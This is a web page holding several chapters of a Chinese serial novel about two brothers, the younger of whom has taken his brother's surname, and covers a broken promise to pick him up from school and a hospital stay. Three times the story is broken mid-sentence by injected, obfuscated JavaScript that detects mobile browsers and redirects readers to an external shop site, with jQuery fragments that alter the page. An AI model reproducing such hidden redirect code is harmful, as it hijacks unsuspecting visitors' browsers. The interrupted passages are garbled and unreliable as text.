手指悬在电话上“御剑飞行”,黛烬做了三分钟心理建设才拨出去。 他刚把听筒放在耳边,没有什么缓冲时间,那端就毫无预兆地被接通。 打电话三分钟,接通却只需要三秒。 黛烬说不出的话,总是黛燃先开口。 “哥。” 黛烬觉得自己大概是被某个黑心眼的巫师下了咒,要不然为什么一听到黛燃叫他哥,就愿意低下从没对人低过的头。 “你在哪儿?” 两人默契地都没提一周前闹出的不愉快,黛烬沉默地扮演着黛燃的好哥哥,黛燃也配合地扮演起黛烬的好弟弟。 兄友弟恭,一问一答。 “我在二三区,回家拿点衣服。” 黛燃说完黛烬下意识就要接,话却没想好要怎么出口。 他要说什么呢? 你还回来吗? 这话想都不用想,肯定第一个被pass。 你什么时候回来? 不好不好,这话听起来像是他求着黛燃回来似的,连忙又被他一票否决掉。 要我去接你吗? 那黛燃要是说不要,他岂不是丢人丢大发了? 黛烬举着手机犯了难,电话保持畅通,接电话的两个人却都不说话。 他权衡利弊好一番,最后只用一句话盖过了所有的想法。 “我去哪儿接你?” 他没给黛燃拒绝的权力,直接用“接你”代替“你还回来吗?”,用“去哪儿接”代替“你什么时候回来?”,用“我去接”代替“要我去接你吗?” 每个问题问出口都要承担不同程度的忐忑,问题被浓缩,忐忑程度也跟着被加倍提升。 黛烬说完自己都有点不好意思。 明明是多选题甚至简答题,选项却被他这个出题人删减得只剩下最后一个。 那黛燃要怎么选? 电话里又是一阵安静,黛烬在题目上出得刁钻,就愿意多给答题的黛燃一些时间,毕竟他心里还是希望黛燃能给他满分答案。 尽管答题的限制多,但好在黛燃想选的选项还在其中。 “我马上就到家了,哥在家等我可以吗?” “好。” 黛烬都没注意到自己松了口气,心里石头落地。做了件对的事情,连老天爷都顺道奖赏了他一点运气。 他一抬头,正好和自己的运气四目相对。 公交车在他眼前按了按喇叭,黛烬看了眼车身上写的路标,惊喜地发现是自己想找的那班。 双喜临门。 黛烬几步走上公交车,当着司机的面从兜里掏出两块钱纸币投进零钱箱。 明明是花钱坐车,看着却像是捡了钱一样高兴。 他投了钱,顺道就坐在了进门的第一个位置,眼睛盯着零钱箱,心里又在盘算一笔新账。 司机透过后视镜看着这个从上车开始就傻乐的年轻人,不自觉也被笑容感染着笑出来,他摇摇头踩了油门。 车子再次发动前,司机隐约听见了黛烬自言自语的呢喃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531611|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “划算。” * 公交车到站,黛烬下去之前还不忘和司机打招呼。 “谢谢啊!” 车喇叭被司机按了两声,像是在回应他的招呼,黛烬心情更好,转身走出去几步。 他又站在了自家老破小前,心里说不上什么滋味,只是笑容不自觉收敛。 他忽然不想现在上楼了,干脆又在路边找了个椅子坐着等黛燃回家。 黛烬以为一会儿就能等到人,却没想这一等就是好几个小时,从天亮一直等到天黑,黛燃终于姗姗来迟。 “哥,你怎么在这儿等我?” 黛烬一抬头,再次和他的运气四目相对。 黛燃没蒙他,真的回家了。 黛烬拍拍衣服站起身,主动接过黛燃手里的大包小包。 虽然人等得久,但这丝毫不妨碍他再次见到黛燃时,依旧说出那句早就准备好的话。 “我就是顺路,顺路接你。” 他刚说出口就后悔了,在心里痛骂自己抄作业都不改名字,他连黛燃在哪儿都是刚问的,顺哪门子的路? 他用余光悄悄瞥黛燃,见黛燃正扭过头憋笑,忽然释然,自己也跟着笑了。 算了,至少这小子现在笑他还知道藏。 有进步。 两人并肩往家的方向走,刚路过保安亭,看门的保安大爷就熟稔地和黛烬打招呼。 “小黛啊,我看你在路边坐几个小时了,原来是接弟弟回家啊。” 黛烬一听这话,僵硬地停下步子,得了,就一个事儿还抓着没完了。 黛燃这次没放过他,主动问起。 “哥,原来你是专门来等我回家吗?” 黛烬还想挣扎一下。 “我说不是你信吗?” 黛燃却没给他挣扎的机会,回答得斩钉截铁。 “不信。” 黛燃不信就算了,仗着他理亏,人家是顺着杆子往上爬,黛燃是爬上去之后还要做两个引体向上跟他示威。 得寸进尺。 “哥,你下次还能来接我吗?” 黛烬对上弟弟直勾勾的目光,避无可避,只得胡乱点个头。 “诶行了行了,下周你放假,提前在手机上和我说一声,我接你就是了。” “谢谢哥。” 黛烬不自在地偏过头,主动往前走,却见黛燃没跟上来,还站在原地。 他奇怪地转身看过去,心想这又是闹哪出? “哥,你说话算数吗?” 黛烬不喜欢对一个人牵肠挂肚,也就跟着不喜欢给人承诺,他假装听不懂话,故意曲解黛燃的意思。 “说话还要算数?我又不是数学家。” 黛燃不说话了。 黛烬莫名心虚,可能是怕黛燃一声不吭又跑了,他讪讪地收回上一句话,被迫听懂了词汇真正的意思。 “算数行了吧?我妈说做人得讲诚信。” 黛燃低着头沉默,黛烬莫名看不得黛燃失望的样子。 “还不说话?还得让我给你签字画押一下?” 黛燃瞬间抬头。 “可以吗?” 黛烬没想到随口一说,黛燃还一副要当真的样子,搞得像是他说的话都得“打欠条”才能作数似的。 他说话就这么没信服力? 黛烬觉得没被当回事儿,那股子难受劲儿又上来了,忍不住反问黛燃。 “你还真要我给你写下来啊?” 看黛燃犹豫了下快速摇摇头,黛烬这才满意。 算这小子识相。 回家。 又一个平淡的周末过去。 周一这天黛燃出门上学,家里早已没了黛烬的身影,他走进厨房给自己热了粥,吃饭,洗碗,收拾。 一如往常。 临出门前,黛燃习惯性检查起书包里的作业,书页被快速翻动,这次却没翻多久,很快便被里面夹的东西卡停。 黛燃奇怪地从习题册里抽出异物,发现是张卡住翻页的小纸条。 他把纸条在眼前转了转,不记得是什么时候放进去的了,从外表看起来也很陌生。 纸条从中间随意对折,字被牢牢包在纸里,不会夹在书页里污染白纸。 黛燃奇怪地把纸条展开,里面只写着一句话和一个署名,他却看失了神。 那是他哥写的。 他哥的字出乎意料的娟秀,纸条里面写着他问他哥要的东西。 【哥说的话,每句都算数。 □□□——大数学家黛烬】 黛燃收起纸条,把练习册规整地收回书包里,却把这张抽出来的纸条握得紧紧的,握得团成一团,握得满是褶皱。 他背起书包,一手握着钥匙,一手攥着纸条,往门外走的样子看着和平常一般无二。 临到走出家门前,黛燃还是忍不住鼻头一酸,紧握的两只手同时在眼前打开。 刚看清掌纹的那一刻,眼泪就跟着掉了下来。 他哥说话算话。 他哥是大数学家。 6. 【燃】习惯 周五。 黛燃的幸运日。 但这周比以往都要幸运。 因为这周放假,他哥答应了要来接他。 他们是固定课表,每周五的最后一节课都是老胡用物理收尾。 老胡也是从学生时期的小胡过来的,过来人,当然知道临放假前的课没人静下心来听,只得把基础知识点拿出来给基础差的学生补课。 听课的学生也心知肚明,久而久之,大家都默契地养成了在这节课上各自摸鱼的习惯。 当然,表面功夫还是要做的。 老胡胖胖的身子在讲台上走来走去。 他是老教师了,经历过上世纪的传统教育模式,现在上课也依旧坐不住,改不掉在讲台附近遛弯的习惯。 黛燃偷偷在桌下拿出手机,边躲老胡边按照说好的给他哥发消息。 【dr】:哥,我下午六点就放假了,和你说过,别忘了来接我。 黛烬回得很快。 【dj】:不还有半小时吗?急什么,哥记着呢。 【dr】:嗯。 【dr】:谢谢哥。 黛燃狼吞虎咽地看完他哥的消息,大致读懂意思后便马上打字回复。 那速度快得像是生怕晚发一秒他们两人之中就有人要反悔似的,确认没问题后他便迅速把手机藏起来。 他不习惯做坏事,藏得手忙脚乱,心虚地一直偷瞄讲台附近的老胡。 然而他这番动作还没引起老胡注意,就先被身旁的同桌发现。 季随之是惯犯,摸手机的动作比黛燃熟练的多。 他面上装得像模像样,余光却偷偷伸到桌下,手速快得可以去打职业联赛,翻个白眼的功夫,一条新消息就发出去了。 他单手打字,发完消息刚想退出,却不小心误触点开头像,这才发现了黛燃新改的名字。 季随之鬼点子多,退回去边打字边捂嘴遮住笑。 不一会儿黛燃就收到了条新消息。 黛燃收手机的动作一顿,被振动声吓得身体一僵,他缓缓抬头扫了眼四周,见大家依旧各做各的事,没人注意到他。 黛燃这才反应过来其他人都戴了耳机,免打扰的情况下,这种级别的声音一般都是影响不到别人的,这才松了口气。 他第一次摸鱼,不习惯的事情很多。 排除危险,黛燃急忙重新点亮手机,还以为是他哥又发了新消息给他,兴高采烈地点进去。 人最忌讳有希望,遇到什么风吹草动就慌里慌张。 黛燃迫不及待地点开新消息,忍不住面带喜色,对于他这种连道谢都经常性冷脸的人来说,笑容是难得一见的珍宝。 可在看清新消息来源的瞬间,他的笑容就猝不及防地被前来寻宝的海盗洗劫一空。 大失所望。 【随便随便】:燃燃上课也摸鱼?少见啊。 【随便随便】:你什么时候改的网名?看着都有点不习惯。 【随便随便】:dr? 【随便随便】:看着像卖戒指的。 一连四条消息甩过来,黛燃逐一看完才一个一个回。 【dr】:初犯。 【dr】:改一个月了。 【dr】:嗯。 【dr】:只送不卖。 黛燃一一回完,退出聊天框,视线又下意识移到置顶的联系人。 他哥已经在他的置顶待了一个月了,从他改名的那天开始。 从那之后,他这个对电子设备不感兴趣的人就开始早上看,中午看,晚上看。 一条消息他从早看到晚,慢慢就成了再也改不掉的习惯。 他哥答应了要来接他。 哥,会来吧? 季随之发完消息就用余光观察黛燃,看他高兴失望都写在脸上,更觉有趣。 【随便随便】:你一会儿笑一会儿哭的,忙什么呢? 【随便随便】:看着像恋爱了一样。 黛燃看到消息忽然不敢回了,他二话不说就把手机丢进书包的侧边口袋里,坐直身子,高高举起手。 老胡看到有人举手,喜不自胜。 学校要求任课老师没有特殊原因不要在教室里乱转,快闷死他了。这下终于有个正当的理由下来转转,他乐呵呵地拿着电子板走到黛燃身旁。 季随之却看傻眼了。 他以为黛燃恼羞成怒,所以打算把他一票带走,心里一慌,手机“啪叽”一声摔在地上,正面朝下。 这动静吓了走来的老胡一跳!季随之的心就这样跟着没贴膜的屏幕一起碎了。 老胡一看地上的手机瞬间了然,走向黛燃的脚步一转,一秒闪现到了季随之身边,举着板子指人,恨铁不成钢。 “季随之!又是你!” 季随之见已经被发现,提着的心直接和手机一样被他随手甩在地上,认栽地站起身接受批评。 老胡一手叉腰一手指人。 “都高三了,你还不想着多用功,没有一个好文凭,你知道你以后要多走多少弯路吗?” 老胡固定开场白起手,季随之立马卖队友。 “又不止我一个人,临燃不也——” 黛燃一听这话,立马冷着脸转头。 他面色冷肃,声音像一滴水落在地上就立马结成冰一样寒。 “我怎么了?” 黛燃脾气一向温和,对谁都礼貌有加,今天这样呛人的态度连从小和他一起长大的季随之都是第一次见。 老胡也被他的样子吓到了,一下从批评季随之转为调解两人的矛盾。 “怎么了临燃同学?” 老胡一出声,黛燃又把视线从季随之转到老胡身上,态度不仅没有和缓,反而有愈演愈烈的趋势。 班里的其他人都被这场面吸引了视线,纷纷摘下耳机看过来。 黛燃见目的达成,终于在众目睽睽下移开椅子站起身。 他刻意把语速放慢,把每个吐字都咬得极准,确保每个人都能听清他说的话。 “老师,我一个月前已经改名,现在姓‘黛’,‘远山黛’的‘黛’,之前没机会说,我的问题,请您以后别念错了。” 老胡一愣一愣地点头,搞不懂怎么猝不及防转到这个话题了,但还是应下来。 “黛燃同学是吧,老师以后知道了。” 从老胡口中听到正确的名字后,黛燃终于恢复了一贯的谦和有礼,态度马上软下来。 “是,谢谢老师。” 老胡想起黛燃此前举了手,终于把正事提起来。 “黛燃同学,你刚才举手是有什么事吗?” 黛燃点头。 “嗯,老师我有点急事,想提前走。” 老胡知道这学校里的学生都是什么身份,很多事情不方便说,学校不让他们在教室里乱转也是想保护学生隐私。 毕竟能坐在这里的,非富即贵,很多都是外面花钱都见不到的人。 他不多问,大方地摆摆手放行。 “去吧去吧,回去注意安全。” 季随之和其他同学都还沉浸在刚才的修罗场里,搞不懂氛围怎么莫名其妙就晴转阴,然后又莫名其妙地被黛燃放了晴。 季随之从黛燃冷脸后就全程惊讶地微微张着嘴,此刻才反应过来黛燃刚才不是想举报他,有点后悔差点把人拖下水。 黛燃看了眼教室内的钟表。 算算时间,只剩下最后五分钟就该下课放学,他拿起手边早已整理好的书包。 临走之前,他面色冷峻地往季随之的方向走了几步,其他同学一看修罗场又要起,都坐稳屏息看戏。 黛燃走到季随之对面,两人看起来针锋相对,剑拔弩张。 黛燃依旧一字一顿,势必要将计划好的话说得清楚明白。 “季同学,以后别叫错我名字了,我比较介意这个。” 黛燃把计划一丝不苟地执行到边边角角,最后一步完成,他终于满意,将书包背到肩上准备离开。 两人离得近,季随之不兜圈子,直接压低声音问他。 “你搞什么?” 黛燃就知道没演过季随之的眼睛,心中感叹不愧是季仲裁长的表弟,看人的本事还真是一脉相承。 他微微躬身,也把声音刻意放低,确保没有第三个人听见。 “谢了,正愁没机会告诉大家我的新名字,你那手机算我账上,马上我给你转两万,你再去买个新的。” 季随之忍了又忍才没变脸。 “连我都敢算计,你真是……你赔我精神损失费。” 黛燃掀起眼皮看了季随之一眼。 用什么东西作为交换条件,从而达成一场双方都满意的交易,是他从小到大的必修课。 “你车这个月的电费我包了。” 季随之眼前一亮。 二十二世纪的电可比油贵得多,一度电就不下百金,有钱人当然是什么贵用什么。 季随之家里管得严,黛燃给这么多,别的不说,诚意这方面绝对管够。 季随之马上答应。 “成,算你有钱。” 黛燃说完就冷着脸直起身,季随之知道实情后也放心地陪他演。 从其他人视角看来,两人只是为了一个名字便险些翻脸,又互放狠话。 临家和季家都是二三区有名有姓的大家族,无论是地位还是财富都令人望尘莫及,两家发家的时候,连这所号称历史悠久的私立贵族学校都还没盖起来。 两位继承人公然起冲突,无论是吵架还是放话,其他学生身为各个家族的少爷小姐,当然不会将矛盾当成笑话看,自觉洗耳恭听。 黛燃深知,名字是最难改的习惯。 但此举一劳永逸,从今以后,他再也不会在学校里听到有人叫他临燃。 计划成功。 习惯改正中。 * 习惯养成中。 为了放学可以第一时间见到他哥,黛燃从这周一开始,每天都在自己提前找好的位置上站一段时间。 这个习惯已经保持了五天,抱着养成一个习惯需要二十八天的想法,黛燃决定再养二十三天。 他认定,只要把喜欢的事情养成习惯,那么做这件事将会毫不费力,像喝水一样简单,人也会做得理所应当,甚至哪怕失去记忆也能将习惯完美复刻。 这就是他想要的。 刻骨铭心,死都忘不掉。 黛燃站在选好的位置上往校门口眺望,他眯了眯眼,又开始在脑内制定新习惯的养成计划。 接他放学是个好习惯。 他会帮他哥养成这个好习惯。 黛燃以为自己今天的第一个计划顺利完成,拿了个开门红,之后就能一路绿灯。 却没想他从白天一直等到晚上,等到夕阳都已经被海面完全吞噬,等到晚霞的余晖都被当成丝状棉花糖一样嚼了。 他哥的身影都从未出现。 黛燃不气馁,脚下的步子一步都未曾挪动。 二月份,室外的温度冷得刺骨,自从住进他哥家后,他就养成了多穿衣服的习惯,但此时仍被冻得浑身僵硬。 尽管他现在上学改坐公交车,但公交车有政府补贴,无论是车内还是学校教室内,都不存在没有供暖的地方。 他从没像现在这样长时间在室外待着。 学校里人来人往,哪怕他站在校门口观望,路过的人也没有敢背后议论的。 黛燃再次打开手机,点开置顶联系人,消息发了一条又一条。 【dr】:哥,我放学了。 【dr】:[图片] 【dr】:我在这里,一进门就能看到。 黛烬不回,他就每过半小时准时打卡发一条新消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你真是蠢成这样,这还要我教你?你躲起来给我发个定位不行吗?一点儿都不知道变通,读书读成书呆子了,我不怪你怪谁?” 黛燃转过脸冷冷地瞥黛烬,面色比在教室里和季随之一唱一和演戏时还要冷,每句话的尾音里都带着化不开的冰渣子。 “我给你发的消息你都没回,我发定位你就看得到?” 黛烬一拍脑门才想起来,但他总是先找别人的问题。 “我没回是我手机没电了,你就没为我想过吗?成天就只知道惦记你那些鸡毛蒜皮的小事,合着什么都是我的问题呗?” 黛燃却冷静得不像话,没被黛烬的任何情绪带跑偏。 “你失约,当然是你的问题,你自己答应了的,更何况我从不觉得这是小事。” 黛烬大概是觉得他冥顽不灵,不知道怎么处理就只会继续找他问题。 “我天天没别的事情,就光干等着接你放学是吗?你能不能懂点事,我为了接你你知道我加了多少班才换来这几个小时的假吗?和我的工作比起来,就你这点儿事儿,那都是不起眼的小事儿!” 黛燃失望地把脸转回去,声音里最后的一丝温度也不带。 “那你当初就别答应啊,我不也站着等了你一下午?我的时间也很宝贵吧。” 这话不知道哪个字戳到黛烬肺管子了,黛烬的怒气值终于积累着被推到顶峰,又开始口不择言。 “是是是,临燃,你临家大少爷的身份多金贵,时间自然比我这种一事无成的人宝贵。” 黛燃表情一僵。 听黛烬叫他临燃,比这个世界上所有人都叫他临燃加起来还要天崩地裂。 这意味着他哥根本就没有打心眼里认可他,认可黛燃是他黛烬的弟弟。 黛燃几乎是在瞬间就扭回了头,含着怒气质问出声。 “哥,你叫我什么?” 黛燃大概是气得急了,说着说着就不受控制地咳出几声。 “咳咳咳——” 他换了口气又要继续说,这次说话显然没了前面的沉稳和冷静,像是被路过的行人狠狠踩了尾巴的流浪猫。 “我也没让你围着我转,咳咳——是你自己答应了没做到,咳咳——” 黛烬却不管这些,吵起架来就势必要吵赢。 “行,我当初答应你就是我活该,我认了行了吧?” 他哥根本不讲理。 愤怒夹杂着委屈铺天盖地将他席卷,黛燃从没生过这么大的气,眼前越来越模糊,意识也跟着混乱起来。 他握紧拳头,手里仿佛还留着这周一出门时紧握的纸条。 明明是他哥答应好的,承诺这种东西,怎么能擅自反悔呢? 他哥说了自己说话算数,他就把他哥的每一句承诺都提前养成习惯。 对于他哥来说,“说话算数”是习惯,那么对他来说,“信任他哥说话算数”便是他正在养成中的习惯。 但现在他哥的习惯改了。 接他放学,一个专门为了他而存在的习惯,就这样被他哥轻而易举地改掉了。 这下又没人记得他的喜好了。 好像忽视他这件事本身,也被人养成了习惯。 和他有关的习惯明明那么多,可偏偏是这个最让人厌恶的习惯被留了下来,哪怕被人嫌弃地挑剩了还要被留下来。 大家像是提前说好了一样,他身边的所有人都默契地从他小时候就开始养成忽视他的习惯。 他明明已经尽力去改了,他改了名字,再改掉同学对他的旧称呼,他改掉了一个又一个他不喜欢的习惯。 唯独他哥死性不改。 黛烬背对着黛燃独自生闷气,黛燃却没再出声。 黛烬站久了,觉得不对劲,他借着便利店玻璃反光往身后看去,却被这画面刺激得瞬间乱了阵脚,立马回头转过身! 黛燃已经倒在地上一动不动,眼睛紧紧闭着,安静得像是连呼吸都停止了,飘散的雪花心疼地在他脸上驻足。 黛烬吓得立马冲过去跪倒在他身边,把人一把捞起来抱在怀里,边摇边喊。 “黛燃,黛燃。” “你别吓我……” “黛燃!” 7. 【烬】缴费 黛烬怀里紧紧抱着黛燃不撒手,慌乱之下,他首先想到的就是试鼻息。 还有呼吸。 黛烬松了口气,手却还在不受控制地发抖,他着急忙慌地打了120,身上泄了力,只会呆愣愣地跪坐在地上将人抱紧。 救护车来得很快,车辆鸣笛靠近,靠边停车打双闪,急救医生第一个从副驾驶开门下车,边走边大声问。 “谁打的120?” 黛烬终于被这一声唤回了意识,他伸手边挥边喊。 “是我!” 护士从车厢后门出来,驾驶员拿着担架和急救箱,三人快步冲向接话的黛烬。 急救医生蹲在黛燃身边准备检查,看黛烬将黛燃抱这么紧,命令的语气坚决又果断。 “这位先生你先松开他,我要检查!” 护士和担架员见状也一起上前,两人迅速将抱人的黛烬拉开,和急救医生一起帮倒地的黛燃检查起来。 黛烬感觉自己已经不会动了,不知道是冷的还是怕的,反正听了别人说话像没听到似的。 他像个提线木偶被人拉来推去,只有一双眼睛紧紧盯着黛燃,看黛燃面无血色的躺在地上,第一次感受到什么叫恐慌。 他不懂医,听不懂医生护士在说什么,只看得见黛燃经过简单检查后就被人抬上担架往救护车上推。 黛烬终于有了动作,他踉跄几步从地上爬起来站起身,跟在最后的护士提着急救箱回头看他,招手示意他上车。 “先生你跟我们一起上车吧。” 黛烬把这句话拆成几个字,又重新在脑海里拼成一块,囫囵吞枣地读懂了意思连忙点头,跟着护士走进后车厢。 刚一坐下,护士还在关车门,黛烬就忍不住问起黛燃的情况。 “护士,他没事吧?” 护士动作利落地关紧车门,看黛燃还没醒,她温和地和黛烬解释。 “就是冻着了,再加上情绪激动,不是什么大问题,到医院简单观察一下就好,不用担心。” 护士说完,低头给被盖上被子的黛燃掖了掖被角,依照流程询问黛烬一些基础信息。 “您和这位同学是什么关系呢?” “我是他哥。” 黛烬话说得极为顺口,说完才恍惚了一下。 不知道从什么时候开始,他已经把和黛燃的兄弟关系养成了习惯,逢人问起就脱口而出一句“我是他哥。” 护士没听出什么异样,点点头。 “您弟弟平常有吃什么药吗?有什么过敏史您知道吗?” 黛烬莫名心虚地低下头,摇了摇。 “我都不清楚。” 护士不苛责也不多问,只是尽职尽责地提前给黛烬打预防针。 “那就得检查一下才好用药了,可能要多出一笔费用……” 黛烬懂了护士话里的未尽之意,他从冲锋衣内侧口袋里拿出钱包翻了翻。 现在是月中,他这个月没和朋友去喝酒,省下的钱应该勉强够给黛燃看病。 真是上辈子欠他的。 黛烬小心地收好钱包,给了等待的护士一个肯定答复。 “检查吧,我去缴费。” * 黛烬缴了费,终于得到了见黛燃一面的机会。 他走楼梯上三楼,根据指示牌找到了医生提供的病房号,隔着病房门上的半块可视玻璃往里看。 病房内很暗。 暗得只能看到一个人躺在病床上的身影,却模糊得连五官都认不清。 这室内灯开得聊胜于无。 黛烬正要推门进去,还没碰到把手,门却忽然被人从里面拉开,他这才发现里面还有除了黛燃以外的第二个人。 他给往外走的护士让开位置,侧身要继续往门里走,却忽然被护士伸手拉住,黛烬被迫停下脚步,奇怪地转过身。 护士抓住要进门的黛烬,拿出两张准备好的单子分别展开给黛烬看。 “黛先生您好,这是黛燃先生的报告单,我们给他做了药物方面的检查,发现他过敏的药很多,用药方面只能非常小心,所以用的药都不便宜。” 黛烬没想到检查结果出来得这么快,心里不禁感叹“只要钱到位,牛马拉磨真是比驴还快”。 他点点头接过报告单。 视线第一时间落到右下角写着的数字上,他仔细确认了一遍,数额没问题,和他缴费的金额一致,没坑他钱。 “我知道,这钱我已经缴了。” 他的语气微扬,细听还有点小骄傲,像是想用“已经缴了费”这个客观事实为自己挣点气。 护士这才点点头,又拿出另外一张资料递给黛烬。 “这是我院的用电收费标准,您可以看一下。” 黛烬这次却被弄得有点云里雾里。 他不明白为什么忽然给他这个,接过来扫了一眼,被上面的标价吓得瞬间瞪圆了眼睛,但他很快便熟练地掩饰住异样,尽量不在外人面前露怯。 惊吓和掩饰过后,接踵而至的就是担心。 黛烬立马把“为什么要用电”这事儿抛开,第一时间想到的就是缴费问题,捏着收费表的手指紧了紧,心里难免紧张。 “这个,也要缴费吗?” 护士又往昏暗的病房内看了一眼。 “一般住院可以选择不缴费,我们也会有最基础的供电,虽然没有那么亮,但这是联盟为公民提供的补贴,不会额外收费。” 黛烬这才放心,护士却话锋一转。 “但是考虑到黛燃先生的身体,今天气温太低,他又刚因为受寒晕倒,所以想问问您需不需要暖气?” 护士又指指黛烬手里的收费表。 “这是我们医院的报价,这里是二三区,用电量多,覆盖面大,电费会比其他区都要便宜一些,您可以考虑一下。” 护士说到“比其他区都要便宜”时语气明显柔和了些,大概是觉得“低价”终于可以让辛苦的患者家属喘口气。 黛烬却盯着收费表没作声。 护士看他没动作,以为是还有什么顾虑,又主动介绍起来。 “需要的话可以直接扫我们空调下方的二维码,随用随付,电费不走医院的账,您可以放心,收费绝对公开透明。” 黛烬终于点了点头。 “谢谢,我明白了。” 护士又留下一个笑容,拿起剩下的一叠资料往下一个病房走。 黛烬目送护士离开,他后退两步,收回了原本要走进病房的脚步。 走廊上除了黛烬以外,一个人都没有。 他独自站在病房门口,没人盯着他,他终于有机会将病房外部和内部一阵打量,想看看自己这笔钱花在哪儿了。 建在富人区的公立医院,其实对没钱的人来说更体面,不会存在一些让人完全摸不着头脑的设计。 就像学校总会要求学生穿校服,固定搭配,才能从根上减少攀比心理,而基础建筑只要打上“公立”两个字,里面给普通人用的东西就能做到大差不差,简单好上手。 没有不必要的额外收费,也就不会花钱受罪闹出不必要的笑话。 黛烬沉默地看完,没有嘲讽,却也没有夸奖。 也就那样,没什么了不起的。 其实没人反驳他,但他第一次来这里,无意识的紧张总是让他下意识在心里虚空索敌。 黛烬将两张收费单子叠在一起,背在身后,推门走进病房。 他走进去就目不斜视地来到黛燃身边,感受着室内冷飕飕的温度,他还以为进错房间,来的是太平间。 呸呸呸,真不吉利。 黛烬在心里打嘴,他将盖住黛燃的被子小心翼翼掀开一个角,手伸进去试了试黛燃的体温。 好冷。 黛烬收回手,不再犹豫,他借着昏暗的室内光环顾四周,很快便看清了空调,更看清了空调下方内嵌的实时缴费码。 他拿出手机就准备扫。 手机的开关键被他连续按了好几次,却一次都没亮。 黛烬这才后知后觉地想起来手机早就没电了,连之前的120都是他在便利店借店员手机打的。 好在富人区发展得总是面面俱到。 黛烬不用怎么找,就在缴费码下发现了几根接口不一的充电线。 他蹲下,找出一根接口使用痕迹最明显的线,小心翼翼地给手机插上电。 屏幕亮起。 手机插电终于开了机,黛烬点开联盟提供的官方APP,按照提示一步一步输入身份信息。 这信息他上次缴费的时候输过一次,但是每隔一个月就要更新,需要公民重新录入变更后的新信息。 黛烬盘腿席地而坐。 他坐得毫无心理负担,毕竟富人区的医院,进来的人脚上连泥都没有,地又被人一天八遍地拖,大概比他兜儿还干净。 黛烬坐下后就开始走流程一步步操作录信息。 缴费看的是信誉。 联盟公民每个月的信誉值都不一样,可能今天扶个老奶奶过马路,就能涨两分,明天开车在路边和人吵个架,被人举报,就又立马被扣掉十几分。 信誉变化得太快。 当然,影响信誉变化最大的因素,还得是公民的个人身份。 就读学校、就业单位、名下车房等等等等,有人担保,信誉值自然提高,但这毫无疑问,都是社会想尽办法提供给富人的叠加便利。 而黛烬,一无所有。 别说他早就毕业了,毕业就自动脱离学校,就算是他没毕业,以他就读学校的资质,也远远没资格为他背书做担保。 单位就更别提了,他现在这份工作都还处于漫长的实习期。 至于车啊房啊,以及剩下的担保条件,没有的东西,无需纸上谈兵。 黛烬在心里大倒苦水,却一直闭着嘴。 他只能闭嘴,要是张开嘴,一不小心把苦水倒得水漫金山,漫山遍野,那岂不污染了医院清洁工辛苦拖的地? 他虽然没什么信誉,但素质还是有的。 黛烬闭嘴苦笑。 他现在笑,配合着他的身份,任旁人怎么看都会判定这是无可奈何的“苦笑”。 但要是真的问当事人黛烬到底是怎么想的?他大概会说:苦笑就苦笑吧。 笑总比哭要好看。 黛烬什么认证身份都没有,信誉认证条件一个又一个弹出来,他一次又一次点击【跳过】,流程走得飞快。 最后就只剩下一个【验证公民身份】。 黛烬熟练地输入自己的身份证号,画面闪出一道弹窗,提示【认证成功】,他终于进了APP首页。 首页显示的,是联盟提供给他的各项基础补贴。 黛烬没多看,点击画面右上角的扫描方框,举手机扫码。 他的头高高地抬着,身体低低地仰望“高高在上”的空调缴费码。 “扫描成功——” 输入密码,缴费成功。 “叮——” 提示灯亮,空调开启。 黛烬放下高举的手臂,他很多年都没机会开空调了,以前他爸在的时候还偶尔开几次,后面就少见了。 他低头看手机。 手机画面上实时更新着用电情况和收费明细,他虽然没身份,却也没犯罪,用电自然不受限制。 缴得起费就行。 病房内很快就驱冷升温,黛烬久违地享受起金钱给人类带来的生活便利和温暖安宁,心也变得平静。 还没平静多大一会儿,手机右上角的充电图标却又忽然熄灭。 充电结束。 这种充电线试用供电不收费,但是有试用的电量限制,不交钱就只能充个试用装。 黛烬习以为常地拔掉充电线,物归原主,手机被他贴身收进兜里,他重新走回黛燃身边,又试了试黛燃的体温。 温的。 黛烬难以置信地将黛燃的手从被窝里拉出来,又将脸主动贴在了黛燃的手上,震惊地重新试了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531613|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍温度。 还真是温的。 黛烬庆幸又无奈。 还真是过惯了好日子的少爷,开了空调身体马上就升温,他将黛燃的手又往被窝里塞,仔细地盖上被子。 刚盖上被子,手机却又响了。 生活总是在马不停蹄地催促慢走的他往前跑,一步都歇不下来。 黛烬又看了眼紧闭着双眼的黛燃,快步转身走出去关上门,他刚进走廊,手下就快速按了接听。 听筒传来的声音他再耳熟不过。 他老板。 “黛烬,酒喝一半你人跑了,你真好样的。” 黛烬被生活教育得十分合格,认错的话张口就来。 “陈总,真的很不好意思,我临时有点事,给您添麻烦了。” 陈总却不听他认错。 “少跟我说这些有的没的,你被开除了,明天自己去找财务结钱吧!” “嘟嘟嘟——” 黛烬安静地听完手机那端传来的忙音,然后挂断,他没骂人,大概也觉得自己罪有应得。 他刚好站在窗边,独自看了看高悬的月亮,勉强收拾好心情,还是转身准备回病房。 黛烬脚步一转,视线平移到来时的路,打算原路返回。 却没想到在这条来时路上看到的第一个人,是黛燃。 